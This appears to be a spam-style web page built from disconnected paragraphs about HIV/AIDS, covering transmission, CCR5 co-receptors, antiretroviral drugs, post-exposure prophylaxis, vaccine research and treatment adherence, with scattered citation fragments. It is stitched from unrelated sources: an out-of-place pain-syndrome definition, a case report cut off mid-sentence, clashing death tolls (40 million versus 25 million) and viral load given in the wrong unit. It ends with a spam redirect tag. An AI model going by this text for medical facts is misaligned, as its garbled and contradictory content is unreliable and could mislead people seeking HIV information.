Jump up ^ Larke, N (May 27, 2010). “Male circumcision, HIV and sexually transmitted infections: a review”. British journal of nursing (Mark Allen Publishing). 19 (10): 629–34. doi:10.12968/bjon.2010.19.10.48201. PMID 20622758.
Statistics show that approximately 40 million people are currently living with HIV infection, and an estimated 40 million have died from this disease since the beginning of the epidemic. HIV has been particularly devastating in sub-Saharan Africa, which accounts for almost 70% of new HIV infections globally. However, infection rates in other countries also remain high.
Needles. HIV is frequently spread by sharing needles, syringes, or drug use equipment with someone who is infected with the virus. Transmission from patient to healthcare worker, or vice-versa, through accidental sticks with contaminated needles or other medical instruments, is rare.
These results provide a dramatic confirmation of experimental work suggesting that CCR5 is the major macrophage and T-lymphocyte co-receptor used by HIV to establish primary infection in vivo, and offers the possibility that primary infection might be blocked by therapeutic antagonists of the CCR5 receptor. Indeed, there is preliminary evidence that low molecular weight inhibitors of this receptor can block infection of macrophages by HIV in vitro. Such low molecular weight inhibitors might be the precursors of useful drugs that could be taken by mouth. Such drugs are very unlikely to provide complete protection against infection, as a very small number of individuals who are homozygous for the nonfunctional variant of CCR5 are infected with HIV. These individuals seem to have suffered from primary infection by CXCR4-using strains of the virus.
In areas where heterosexual transmission is dominant, HIV infection follows routes of trade, transportation, and economic migration to cities and spreads secondarily to rural areas. In Africa, particularly southern Africa, the HIV epidemic has killed tens of millions of young adults, creating millions of orphans. Factors that perpetuate spread include
Though there are two cases of people who have been cured, there is currently no safe cure for HIV (see fact sheet 485.) There is no way to “clear” HIV from the body. Antiretroviral therapy (ART, see fact sheet 403) can prevent or reverse the damage to your immune system. Most people stay healthy if they stay adherent to ART.
Two main clinical staging systems are used to classify HIV and HIV-related disease for surveillance purposes: the WHO disease staging system for HIV infection and disease, and the CDC classification system for HIV infection. The CDC’s classification system is more frequently adopted in developed countries. Since the WHO’s staging system does not require laboratory tests, it is suited to the resource-restricted conditions encountered in developing countries, where it can also be used to help guide clinical management. Despite their differences, the two systems allow comparison for statistical purposes.
Jump up ^ Celum CL, Coombs RW, Lafferty W, Inui TS, Louie PH, Gates CA, McCreedy BJ, Egan R, Grove T, Alexander S (1991). “Indeterminate human immunodeficiency virus type 1 western blots: seroconversion risk, specificity of supplemental tests, and an algorithm for evaluation”. The Journal of Infectious Diseases. 164 (4): 656–664. doi:10.1093/infdis/164.4.656. PMID 1894929.
Fusion and entry inhibitors are agents that keep HIV from entering human cells. Enfuvirtide (Fuzeon/T20) was the first drug in this group and was given in injectable form like insulin. Maraviroc (Selzentry) can be given by mouth and is used in combination with other ARTs.
Compliance with medications is important to provide the best outcome for mother and child. Even though a physician might highly recommend a medication regimen, the pregnant woman has a choice of whether or not to take the medicines. Studies have shown that compliance is improved when there is good communication between the woman and her doctor, with open discussions about the benefits and side effects of treatment. Compliance also is improved with better social support, including friends and relatives.
Safer sex behaviors may reduce the risk of acquiring the infection. There is a risk of acquiring the infection even if “safe sex” is practiced with the use of condoms. Abstinence is the only sure way to prevent sexual transmission of the virus.
A 32-year-old white homosexual man was initially seen in October 1985 with complaints of a sore throat. A throat culture was negative, and he was treated symptomatically. He had been in generally good health. He had had surgery for a rectal fistula and hemorrhoids in 1981,
Blood transmission — the risk of transmitting HIV through blood transfusion is extremely low in developed countries, thanks to meticulous screening and precautions. However, among people who inject drugs, sharing and reusing syringes contaminated with HIV-infected blood is extremely hazardous.
In 2006, male circumcision was found to reduce the risk of female-to-male HIV transmission by 60%.81 Since then, the WHO and UNAIDS have emphasised that male circumcision should be considered in areas with high HIV and low male circumcision prevalence.82
The sexual practices with the highest risks are those that cause mucosal trauma, typically intercourse. Anal-receptive intercourse poses the highest risk. Mucous membrane inflammation facilitates HIV transmission; sexually transmitted diseases, such as gonorrhea, chlamydial infection, trichomoniasis, and especially those that cause ulceration (eg, chancroid, herpes, syphilis), increase the risk severalfold. Other practices that cause mucosal trauma include fisting (inserting most or all of the hand into the rectum or vagina) and using sexual toys. When used during intercourse with an HIV-infected partner and/or with multiple concurrent sex partners, these practices increase the risk of HIV transmission.
During successful treatment, the viral load decreases to very low or undetectable levels (less than about 20 to 40 copies per microliter of blood). However, inactive (latent) HIV is still present within cells, and if treatment is stopped, HIV starts replicating and the viral load increases.
Developing AIDS requires that the person acquire HIV infection. Risks for acquiring HIV infection include behaviors that result in contact with infected blood or sexual secretions, which pose the main risk of HIV transmission. These behaviors include sexual intercourse and injection drug use. The presence of sores in the genital area, like those caused by herpes, makes it easier for the virus to pass from person to person during intercourse. HIV also has been spread to health care workers through accidental sticks with needles contaminated with blood from HIV-infected people, or when broken skin has come into contact with infected blood or secretions. Blood products used for transfusions or injections also may spread infection, although this has become extremely rare (less than one in 2 million transfusions in the U.S.) due to testing of blood donors and blood supplies for HIV. Finally, infants may acquire HIV from an infected mother either while they are in the womb, during birth, or by breastfeeding after birth.
Definition (CSP) any state of infection accompanied by evidence of HIV in the body (positive test for HIV genome, cDNA, proteins, antigens, or antibodies); may be medically asymptomatic or symptomatic; use AIDS when appropriate.
complex regional pain syndrome, type 2; CRPS 2; causalgia; sympathetic pain syndrome persistent and severe skin paraesthesia/burning sensations; caused by trauma to peripheral sensory nerve fibres; symptoms, progress and treatment are similar to that of CRPS 1
Although there were some early concerns of liver inflammation for drugs in this class, MVC appeared to be well tolerated in clinical trials without any specific toxicities attributable to the drug. However, it is a new drug in a new class and the first to actually target the cell. For these reasons, longer follow-up from clinical trials and those followed in the clinic will be very important for assessing the overall safety of the drug. There are important drug-drug interactions with MVC, so it too must be used with caution in patients on other medications.
^ Jump up a b c Knoll B, Lassmann B, Temesgen Z (2007). “Current status of HIV infection: a review for non-HIV-treating physicians”. Int J Dermatol. 46 (12): 1219–28. doi:10.1111/j.1365-4632.2007.03520.x. PMID 18173512.
HIV-2 is closely related to simian immunodeficiency virus endemic in sooty mangabeys (Cercocebus atys atys) (SIVsmm), a monkey species inhabiting the forests of Littoral West Africa. Phylogenetic analyses show that the virus most closely related to the two strains of HIV-2 which spread considerably in humans (HIV-2 groups A and B) is the SIVsmm found in the sooty mangabeys of the Tai forest, in western Ivory Coast.
Jump up ^ Israël N, Gougerot-Pocidalo MA (1997). “Oxidative stress in human immunodeficiency virus infection”. Cellular and Molecular Life Sciences. 53 (11–12): 864–70. doi:10.1007/s000180050106. PMID 9447238.
Transition to these new ARV options has already started in more than 20 countries and is expected to improve the durability of the treatment and the quality of care of people living with HIV. Despite improvements, limited options remain for infants and young children. For this reason, WHO and partners are coordinating efforts to enable a faster and more effective development and introduction of age-appropriate pediatric formulations of antiretrovirals.
Jump up ^ Forrester, JE; Sztam, KA (December 2011). “Micronutrients in HIV/AIDS: is there evidence to change the WHO 2003 recommendations?”. The American Journal of Clinical Nutrition. 94 (6): 1683S–1689S. doi:10.3945/ajcn.111.011999. PMC 3226021 . PMID 22089440.
DiNenno EA, Prejean J, Irwin K, et al. Recommendations for HIV screening of gay, bisexual, and other men who have sex with men—United States, 2017. MMWR Morb Mortal Wkly Rep 2017;66:830–2. CrossRef PubMed
Call for an appointment with your provider if you have any risk factors for HIV infection. Also call if you develop symptoms of AIDS. By law, the results of HIV testing must be kept confidential (private). Your provider will review your test results with you.
A course of antiretrovirals administered within 48 to 72 hours after exposure to HIV-positive blood or genital secretions is referred to as post-exposure prophylaxis (PEP). The use of the single agent zidovudine reduces the risk of a HIV infection five-fold following a needle-stick injury. As of 2013, the prevention regimen recommended in the United States consists of three medications—tenofovir, emtricitabine and raltegravir—as this may reduce the risk further.
Early detection of TB and prompt linkage to TB treatment and ART can prevent these deaths. TB screening should be offered routinely at HIV care services and routine HIV testing should be offered to all patients with presumptive and diagnosed TB. Individuals who are diagnosed with HIV and active TB should urgently start effective TB treatment (including for multidrug resistant TB) and ART. TB preventive therapy should be offered to all people with HIV who do not have active TB.
Because many HIV-positive pregnant women are treated or take prophylactic drugs, the incidence of AIDS in children is decreasing in many countries (see Human Immunodeficiency Virus (HIV) Infection in Infants and Children).
Human immunodeficiency virus (HIV) is one of the greatest worldwide public health challenges of the last century. Since being identified over 20 years ago, HIV has claimed an estimated 25 million lives. Currently, an estimated 33 million individuals are living with HIV/AIDS. Although it causes infections worldwide, this virus has especially targeted areas of the developing world, with prevalence rates nearing 50% among women of child-bearing age in some areas of sub-Saharan Africa. Primary infection may be characterized by an acute viral syndrome or may be entirely asymptomatic, and individuals are often unaware of their infection. Symptomatic illness usually occurs several years after infection, and is manifested by significant-to-severe immune suppression. Although antiretroviral therapy (ART) is generally effective at suppressing viral replication, treatment is not universally available and is often associated with serious side effects. Also, due to the high rate of mutation during viral replication, ART may become ineffective in noncompliant individuals. The structure, genetics, and replication characteristics of HIV make it a challenging pathogen. HIV is a remarkably diverse virus, with two major types, and multiple subtypes and recombinant forms circulating worldwide. The viral envelope varies considerably from isolate to isolate, and has few conserved regions that can be effectively targeted by host antibody responses. Glycosylation of protein structures on the envelope coating hinder access by neutralizing antibodies, and widespread mutational change within the genome permits escape from cellular immune mechanisms. HIV preferentially infects activated host immune cells, which are diverted from their normal cellular biosynthetic pathways to produce virus particles, and undergo premature apoptosis. However, infected CD41 T cells may also remain transcriptionally silent, leaving the incorporated proviral HIV genome dormant for many years. This results in a reservoir of infected cells that persists despite apparently effective therapy.The development of an HIV vaccine that is protective and easily and economically deliverable is a daunting endeavor for scientists, public health officials, and government agencies. The field of HIV vaccine development has met with a number of recent disappointments. Both the VAXGEN antibody-based vaccine and the Merck adenovirus T-cell-stimulating vaccine showed no efficacy in protecting from infection or reducing viral loads. In fact, the Merck product, tested in the Americas and South Africa, may have led to an increased susceptibility to HIV infection in individuals with evidence of preexisting serological immunity to the adenovirus vector.A new paradigm of HIV vaccine effectiveness may need to be considered. This paradigm includes vaccines that may: (1) prevent infection; (2) allow infection that is subsequently cleared without clinical disease; (3) delay clinical progression in the vaccinated individual; or (4) minimally impact disease in the infected individual, but reduce infection of others. Several new approaches are actively being tested in HIV vaccine development. DNA and peptide-based vaccines, heterologous prime-boost regimens, and alternative viral vector are under consideration and development. Scientists continue to use many different methodologies to optimize immunogenic HIV insert sequences in order to overcome the tremendous variability presented by potential infecting viruses. Other approaches seek to increase the recognition of viral antigens through the use of adjuvants and optimized modes of immunogen delivery. The next decade will provide opportunities for these hurdles to be overcome, and will likely see the emergence of new challenges as second- and third-generation vaccines are developed. Multidisciplinary approaches to vaccination may ultimately lead to complete control of this pandemic.
Before starting ART, blood tests usually are done to make sure the virus is not already resistant to the chosen medications. These resistance tests may be repeated if it appears the drug regimen is not working or stops working. Patients are taught the importance of taking all of their medications as directed and are told what side effects to watch for. Noncompliance with medications is the most common cause of treatment failure and can cause the virus to develop resistance to the medication. Because successful therapy often depends on taking several pills, it is important for the patient to understand that this is an “all or nothing” regimen. If the person cannot tolerate one of the pills, then he or she should call their physician, ideally prior to stopping any medication. Taking just one or two of the recommended medications is strongly discouraged because it allows the virus to mutate and become resistant. It is best to inform the HIV health care provider immediately about any problems so that a better-tolerated combination can be prescribed.
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In June 1995, the FDA approved the first protease inhibitor beginning a new era of highly active antiretroviral treatment (HAART). Once incorporated into clinical practice HAART brought about an immediate decline of between 60% and 80% in rates of AIDS-related deaths and hospitalisation in those countries which could afford it.62 [redirect url=’http://penetratearticles.info/bump’ sec=’7′]